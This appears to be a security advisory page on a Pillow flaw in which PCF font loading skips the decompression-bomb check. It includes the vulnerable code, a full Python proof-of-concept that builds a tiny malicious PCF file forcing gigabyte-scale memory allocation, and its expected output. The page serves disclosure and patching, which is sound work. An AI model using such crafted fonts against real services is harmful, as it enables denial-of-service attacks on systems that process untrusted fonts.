High

Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading

  • Disclosed: 06.07.2026
  • Updated: 11.10.2026 15:17

Description

PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:

xsize = right - left          (max: 65535 − 0 = 65535)
ysize = ascent + descent      (max: 65535 + 65535 = 131070)

Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.

Vulnerable code (PIL/PcfFontFile.py line 224–227):

python
for i in range(nbitmaps):
    xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled
    b, e = offsets[i : i + 2]
    bitmaps.append(
        Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
        # ↑ NO _decompression_bomb_check()!
    )

Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:

  • Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently
  • Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond

Steps to reproduce

Proof of Concept script:

python
#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
import io, struct, tracemalloc, warnings
warnings.filterwarnings("ignore")

from PIL.PcfFontFile import PcfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold

# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

# PCF binary constants
PCF_MAGIC    = 0x70636601
PCF_PROPS    = 1 << 0
PCF_METRICS  = 1 << 2
PCF_BITMAPS  = 1 << 3
PCF_ENCODINGS= 1 << 5

def build_bomb_pcf(xsize, ysize):
    # Properties: empty
    props = struct.pack("<III", 0, 0, 0)

    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
    metrics = struct.pack("<II", 0, 1)
    metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)

    # Bitmaps: 1 glyph, empty data (transient attack)
    bitmaps = struct.pack("<II", 0, 1)
    bitmaps += struct.pack("<I", 0)              # offset[0] = 0
    bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0

    # Encodings: char 0x41 ('A') → glyph 0
    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
    encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
    encodings += struct.pack("<" + "H"*128, *enc_offsets)

    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
    hdr_size = 4 + 4 + len(secs) * 16
    out = struct.pack("<II", PCF_MAGIC, len(secs))
    offset = hdr_size
    for stype, sdata in secs:
        out += struct.pack("<IIII", stype, 0, len(sdata), offset)
        offset += len(sdata)
    for _, sdata in secs:
        out += sdata
    return out

pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size  : {len(pcf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

tracemalloc.start()
try:
    font = PcfFontFile(io.BytesIO(pcf))
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
except Exception as e:
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
    print(f"    Heap peak: {peak/1024**2:.2f} MB")
    print(f"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] PCF file size  : 148 bytes
[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels
[*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED (transient): ValueError after allocation
    C-heap allocation of ~23 MB occurred before exception

Amplification table:

PCF file Glyph dims C-heap (mode '1') Bomb check
148 bytes 14000 × 14000 23 MB (transient) Bypassed
148 bytes 65535 × 131070 1.07 GB (transient) Bypassed
~512 MB 65535 × 131070 1.07 GB (persistent) Bypassed

Impact

  • Availability: HIGH — up to 1.07 GB per glyph, no limit per font file
  • Confidentiality: None
  • Integrity: None
  • Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected
  • PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path
  • Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-07

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) pillow < 12.3.0 12.3.0

References

CVSS score 7.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-789
Platform
Python (PyPI)
Package
pillow
Disclosed
06.07.2026
Updated
11.10.2026 15:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2253 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-8v84-f9pq-wr9x - CC BY 4.0

Vulnerability history: pillow

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (81) in the archive
Total entries
81
First → latest
04.2014 10.2026
Without a fix
0
Exploited in attacks
1

Severity breakdown

  • Critical 10
  • High 53
  • Medium 16
  • Low 1
  • Unrated 1

Disclosures per year

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 23

earlier: 12

Severity:
  1. High · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  2. Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading this entry
    High · 7.5 CVE-2026-54059 < 12.3.0 12.3.0
  3. High CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  4. High · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  5. High CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  6. High · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  7. High · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  8. Critical · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  9. High · 8.8 Exploited in attacks CVE-2023-4863 < 10.0.1 10.0.1
  10. High · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  11. High · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  12. High · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  13. Critical · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  14. High · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  15. Critical · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  16. High · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  17. High · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  18. High · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  19. High · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  20. High · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
  21. High · 7.5 CVE-2021-25293 >= 4.3.0, < 8.1.1 8.1.1
  22. High · 7.5 CVE-2021-25291 < 8.2.0 8.2.0
  23. High · 7.5 CVE-2021-25290 < 8.1.1 8.1.1
  24. Critical · 9.8 CVE-2021-25289 < 8.1.1 8.1.1
  25. High · 7.5 CVE-2021-27923 < 8.1.2 8.1.2
  26. High · 7.5 CVE-2021-27922 < 8.1.2 8.1.2
  27. High · 7.5 CVE-2021-27921 < 8.1.2 8.1.2
Show more (20) Showing 40 of 63

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.